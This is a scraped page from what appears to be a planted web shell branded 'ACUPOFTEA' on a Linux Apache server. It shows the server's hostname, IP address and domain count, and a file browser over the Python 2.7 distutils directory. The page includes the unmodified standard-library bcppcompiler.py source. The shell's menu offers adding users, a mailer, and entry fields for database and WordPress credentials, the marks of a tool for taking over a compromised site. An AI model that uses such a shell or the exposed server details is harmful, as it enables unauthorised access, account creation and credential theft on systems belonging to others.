System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
distutils
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
bcppcompiler.py
"""distutils.bcppcompiler Contains BorlandCCompiler, an implementation of the abstract CCompiler class for the Borland C++ compiler. """ # This implementation by Lyle Johnson, based on the original msvccompiler.py # module and using the directions originally published by Gordon Williams. # XXX looks like there's a LOT of overlap between these two classes: # someone should sit down and factor out the common code as # WindowsCCompiler! --GPW __revision__ = "$Id$" import os from distutils.errors import (DistutilsExecError, CompileError, LibError, LinkError, UnknownFileError) from distutils.ccompiler import CCompiler, gen_preprocess_options from distutils.file_util import write_file from distutils.dep_util import newer from distutils import log class BCPPCompiler(CCompiler) : """Concrete class that implements an interface to the Borland C/C++ compiler, as defined by the CCompiler abstract class. """ compiler_type = 'bcpp' # Just set this so CCompiler's constructor doesn't barf. We currently # don't use the 'set_executables()' bureaucracy provided by CCompiler, # as it really isn't necessary for this sort of single-compiler class. # Would be nice to have a consistent interface with UnixCCompiler, # though, so it's worth thinking about. executables = {} # Private class data (need to distinguish C from C++ source for compiler) _c_extensions = ['.c'] _cpp_extensions = ['.cc', '.cpp', '.cxx'] # Needed for the filename generation methods provided by the # base class, CCompiler. src_extensions = _c_extensions + _cpp_extensions obj_extension = '.obj' static_lib_extension = '.lib' shared_lib_extension = '.dll' static_lib_format = shared_lib_format = '%s%s' exe_extension = '.exe' def __init__ (self, verbose=0, dry_run=0, force=0): CCompiler.__init__ (self, verbose, dry_run, force) # These executables are assumed to all be in the path. # Borland doesn't seem to use any special registry settings to # indicate their installation locations. self.cc = "bcc32.exe" self.linker = "ilink32.exe" self.lib = "tlib.exe" self.preprocess_options = None self.compile_options = ['/tWM', '/O2', '/q', '/g0'] self.compile_options_debug = ['/tWM', '/Od', '/q', '/g0'] self.ldflags_shared = ['/Tpd', '/Gn', '/q', '/x'] self.ldflags_shared_debug = ['/Tpd', '/Gn', '/q', '/x'] self.ldflags_static = [] self.ldflags_exe = ['/Gn', '/q', '/x'] self.ldflags_exe_debug = ['/Gn', '/q', '/x','/r'] # -- Worker methods ------------------------------------------------ def compile(self, sources, output_dir=None, macros=None, include_dirs=None, debug=0, extra_preargs=None, extra_postargs=None, depends=None): macros, objects, extra_postargs, pp_opts, build = \ self._setup_compile(output_dir, macros, include_dirs, sources, depends, extra_postargs) compile_opts = extra_preargs or [] compile_opts.append ('-c') if debug: compile_opts.extend (self.compile_options_debug) else: compile_opts.extend (self.compile_options) for obj in objects: try: src, ext = build[obj] except KeyError: continue # XXX why do the normpath here? src = os.path.normpath(src) obj = os.path.normpath(obj) # XXX _setup_compile() did a mkpath() too but before the normpath. # Is it possible to skip the normpath? self.mkpath(os.path.dirname(obj)) if ext == '.res': # This is already a binary file -- skip it. continue # the 'for' loop if ext == '.rc': # This needs to be compiled to a .res file -- do it now. try: self.spawn (["brcc32", "-fo", obj, src]) except DistutilsExecError, msg: raise CompileError, msg continue # the 'for' loop # The next two are both for the real compiler. if ext in self._c_extensions: input_opt = "" elif ext in self._cpp_extensions: input_opt = "-P" else: # Unknown file type -- no extra options. The compiler # will probably fail, but let it just in case this is a # file the compiler recognizes even if we don't. input_opt = "" output_opt = "-o" + obj # Compiler command line syntax is: "bcc32 [options] file(s)". # Note that the source file names must appear at the end of # the command line. try: self.spawn ([self.cc] + compile_opts + pp_opts + [input_opt, output_opt] + extra_postargs + [src]) except DistutilsExecError, msg: raise CompileError, msg return objects # compile () def create_static_lib (self, objects, output_libname, output_dir=None, debug=0, target_lang=None): (objects, output_dir) = self._fix_object_args (objects, output_dir) output_filename = \ self.library_filename (output_libname, output_dir=output_dir) if self._need_link (objects, output_filename): lib_args = [output_filename, '/u'] + objects if debug: pass # XXX what goes here? try: self.spawn ([self.lib] + lib_args) except DistutilsExecError, msg: raise LibError, msg else: log.debug("skipping %s (up-to-date)", output_filename) # create_static_lib () def link (self, target_desc, objects, output_filename, output_dir=None, libraries=None, library_dirs=None, runtime_library_dirs=None, export_symbols=None, debug=0, extra_preargs=None, extra_postargs=None, build_temp=None, target_lang=None): # XXX this ignores 'build_temp'! should follow the lead of # msvccompiler.py (objects, output_dir) = self._fix_object_args (objects, output_dir) (libraries, library_dirs, runtime_library_dirs) = \ self._fix_lib_args (libraries, library_dirs, runtime_library_dirs) if runtime_library_dirs: log.warn("I don't know what to do with 'runtime_library_dirs': %s", str(runtime_library_dirs)) if output_dir is not None: output_filename = os.path.join (output_dir, output_filename) if self._need_link (objects, output_filename): # Figure out linker args based on type of target. if target_desc == CCompiler.EXECUTABLE: startup_obj = 'c0w32' if debug: ld_args = self.ldflags_exe_debug[:] else: ld_args = self.ldflags_exe[:] else: startup_obj = 'c0d32' if debug: ld_args = self.ldflags_shared_debug[:] else: ld_args = self.ldflags_shared[:] # Create a temporary exports file for use by the linker if export_symbols is None: def_file = '' else: head, tail = os.path.split (output_filename) modname, ext = os.path.splitext (tail) temp_dir = os.path.dirname(objects[0]) # preserve tree structure def_file = os.path.join (temp_dir, '%s.def' % modname) contents = ['EXPORTS'] for sym in (export_symbols or []): contents.append(' %s=_%s' % (sym, sym)) self.execute(write_file, (def_file, contents), "writing %s" % def_file) # Borland C++ has problems with '/' in paths objects2 = map(os.path.normpath, objects) # split objects in .obj and .res files # Borland C++ needs them at different positions in the command line objects = [startup_obj] resources = [] for file in objects2: (base, ext) = os.path.splitext(os.path.normcase(file)) if ext == '.res': resources.append(file) else: objects.append(file) for l in library_dirs: ld_args.append("/L%s" % os.path.normpath(l)) ld_args.append("/L.") # we sometimes use relative paths # list of object files ld_args.extend(objects) # XXX the command-line syntax for Borland C++ is a bit wonky; # certain filenames are jammed together in one big string, but # comma-delimited. This doesn't mesh too well with the # Unix-centric attitude (with a DOS/Windows quoting hack) of # 'spawn()', so constructing the argument list is a bit # awkward. Note that doing the obvious thing and jamming all # the filenames and commas into one argument would be wrong, # because 'spawn()' would quote any filenames with spaces in # them. Arghghh!. Apparently it works fine as coded... # name of dll/exe file ld_args.extend([',',output_filename]) # no map file and start libraries ld_args.append(',,') for lib in libraries: # see if we find it and if there is a bcpp specific lib # (xxx_bcpp.lib) libfile = self.find_library_file(library_dirs, lib, debug) if libfile is None: ld_args.append(lib) # probably a BCPP internal library -- don't warn else: # full name which prefers bcpp_xxx.lib over xxx.lib ld_args.append(libfile) # some default libraries ld_args.append ('import32') ld_args.append ('cw32mt') # def file for export symbols ld_args.extend([',',def_file]) # add resource files ld_args.append(',') ld_args.extend(resources) if extra_preargs: ld_args[:0] = extra_preargs if extra_postargs: ld_args.extend(extra_postargs) self.mkpath (os.path.dirname (output_filename)) try: self.spawn ([self.linker] + ld_args) except DistutilsExecError, msg: raise LinkError, msg else: log.debug("skipping %s (up-to-date)", output_filename) # link () # -- Miscellaneous methods ----------------------------------------- def find_library_file (self, dirs, lib, debug=0): # List of effective library names to try, in order of preference: # xxx_bcpp.lib is better than xxx.lib # and xxx_d.lib is better than xxx.lib if debug is set # # The "_bcpp" suffix is to handle a Python installation for people # with multiple compilers (primarily Distutils hackers, I suspect # ;-). The idea is they'd have one static library for each # compiler they care about, since (almost?) every Windows compiler # seems to have a different format for static libraries. if debug: dlib = (lib + "_d") try_names = (dlib + "_bcpp", lib + "_bcpp", dlib, lib) else: try_names = (lib + "_bcpp", lib) for dir in dirs: for name in try_names: libfile = os.path.join(dir, self.library_filename(name)) if os.path.exists(libfile): return libfile else: # Oops, didn't find it in *any* of 'dirs' return None # overwrite the one from CCompiler to support rc and res-files def object_filenames (self, source_filenames, strip_dir=0, output_dir=''): if output_dir is None: output_dir = '' obj_names = [] for src_name in source_filenames: # use normcase to make sure '.rc' is really '.rc' and not '.RC' (base, ext) = os.path.splitext (os.path.normcase(src_name)) if ext not in (self.src_extensions + ['.rc','.res']): raise UnknownFileError, \ "unknown file type '%s' (from '%s')" % \ (ext, src_name) if strip_dir: base = os.path.basename (base) if ext == '.res': # these can go unchanged obj_names.append (os.path.join (output_dir, base + ext)) elif ext == '.rc': # these need to be compiled to .res-files obj_names.append (os.path.join (output_dir, base + '.res')) else: obj_names.append (os.path.join (output_dir, base + self.obj_extension)) return obj_names # object_filenames () def preprocess (self, source, output_file=None, macros=None, include_dirs=None, extra_preargs=None, extra_postargs=None): (_, macros, include_dirs) = \ self._fix_compile_args(None, macros, include_dirs) pp_opts = gen_preprocess_options(macros, include_dirs) pp_args = ['cpp32.exe'] + pp_opts if output_file is not None: pp_args.append('-o' + output_file) if extra_preargs: pp_args[:0] = extra_preargs if extra_postargs: pp_args.extend(extra_postargs) pp_args.append(source) # We need to preprocess: either we're being forced to, or the # source file is newer than the target (or the target doesn't # exist). if self.force or output_file is None or newer(source, output_file): if output_file: self.mkpath(os.path.dirname(output_file)) try: self.spawn(pp_args) except DistutilsExecError, msg: print msg raise CompileError, msg # preprocess()
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
command
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
README
text/plain
295 B
-rw-r--r--
2024-04-10 04:58:35
__init__.py
text/plain
236 B
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
archive_util.py
text/x-python
8.03 KB
-rw-r--r--
2024-04-10 04:58:35
archive_util.pyc
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
archive_util.pyo
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.py
text/x-python
14.59 KB
-rw-r--r--
2024-04-10 04:58:35
bcppcompiler.pyc
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.pyo
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.py
text/x-python
45.63 KB
-rw-r--r--
2024-04-10 04:58:35
ccompiler.pyc
application/octet-stream
36.02 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.pyo
application/octet-stream
35.88 KB
-rw-r--r--
2024-04-10 04:58:44
cmd.py
text/x-python
18.82 KB
-rw-r--r--
2024-04-10 04:58:35
cmd.pyc
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
cmd.pyo
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
config.py
text/x-python
4.04 KB
-rw-r--r--
2024-04-10 04:58:35
config.pyc
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
config.pyo
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
core.py
text/x-python
8.81 KB
-rw-r--r--
2024-04-10 04:58:35
core.pyc
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
core.pyo
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.py
text/x-python
17.32 KB
-rw-r--r--
2024-04-10 04:58:35
cygwinccompiler.pyc
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.pyo
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
debug.py
text/plain
162 B
-rw-r--r--
2024-04-10 04:58:35
debug.pyc
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
debug.pyo
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
dep_util.py
text/x-python
3.43 KB
-rw-r--r--
2024-04-10 04:58:35
dep_util.pyc
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dep_util.pyo
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.py
text/x-python
7.68 KB
-rw-r--r--
2024-04-10 04:58:35
dir_util.pyc
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.pyo
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dist.py
text/x-python
48.88 KB
-rw-r--r--
2024-04-10 04:58:35
dist.pyc
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
dist.pyo
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.py
text/x-python
11.65 KB
-rw-r--r--
2024-04-10 04:58:35
emxccompiler.pyc
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.pyo
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
errors.py
text/plain
3.41 KB
-rw-r--r--
2024-04-10 04:58:35
errors.pyc
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
errors.pyo
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
extension.py
text/x-python
10.65 KB
-rw-r--r--
2024-04-10 04:58:35
extension.pyc
application/octet-stream
7.24 KB
-rw-r--r--
2024-04-10 04:58:46
extension.pyo
application/octet-stream
7.02 KB
-rw-r--r--
2024-04-10 04:58:44
fancy_getopt.py
text/x-python
17.53 KB
-rw-r--r--
2024-04-10 04:58:35
fancy_getopt.pyc
application/octet-stream
11.68 KB
-rw-r--r--
2024-04-10 04:58:46
fancy_getopt.pyo
application/octet-stream
11.5 KB
-rw-r--r--
2024-04-10 04:58:44
file_util.py
text/x-python
7.94 KB
-rw-r--r--
2024-04-10 04:58:35
file_util.pyc
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
file_util.pyo
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.py
text/x-python
12.39 KB
-rw-r--r--
2024-04-10 04:58:35
filelist.pyc
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.pyo
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
log.py
text/plain
1.65 KB
-rw-r--r--
2024-04-10 04:58:35
log.pyc
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
log.pyo
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.py
text/x-python
30.28 KB
-rw-r--r--
2024-04-10 04:58:35
msvc9compiler.pyc
application/octet-stream
20.99 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.pyo
application/octet-stream
20.92 KB
-rw-r--r--
2024-04-10 04:58:44
msvccompiler.py
text/x-python
23.08 KB
-rw-r--r--
2024-04-10 04:58:35
msvccompiler.pyc
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
msvccompiler.pyo
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.py
text/x-python
8.45 KB
-rw-r--r--
2024-04-10 04:58:35
spawn.pyc
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.pyo
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.py
text/x-python
17.29 KB
-rw-r--r--
2024-04-10 04:58:41
sysconfig.py.debug-build
text/x-python
17.21 KB
-rw-r--r--
2024-04-10 04:58:35
sysconfig.pyc
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.pyo
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.py
text/plain
12.14 KB
-rw-r--r--
2024-04-10 04:58:35
text_file.pyc
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.pyo
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.py
text/x-python
13.89 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.py.distutils-rpath
text/x-python
13.36 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.pyc
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.pyo
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
util.py
text/x-python
17.81 KB
-rw-r--r--
2024-04-10 04:58:35
util.pyc
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
util.pyo
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
version.py
text/x-python
11.17 KB
-rw-r--r--
2024-04-10 04:58:35
version.pyc
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
version.pyo
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.py
text/plain
4.98 KB
-rw-r--r--
2024-04-10 04:58:35
versionpredicate.pyc
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.pyo
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com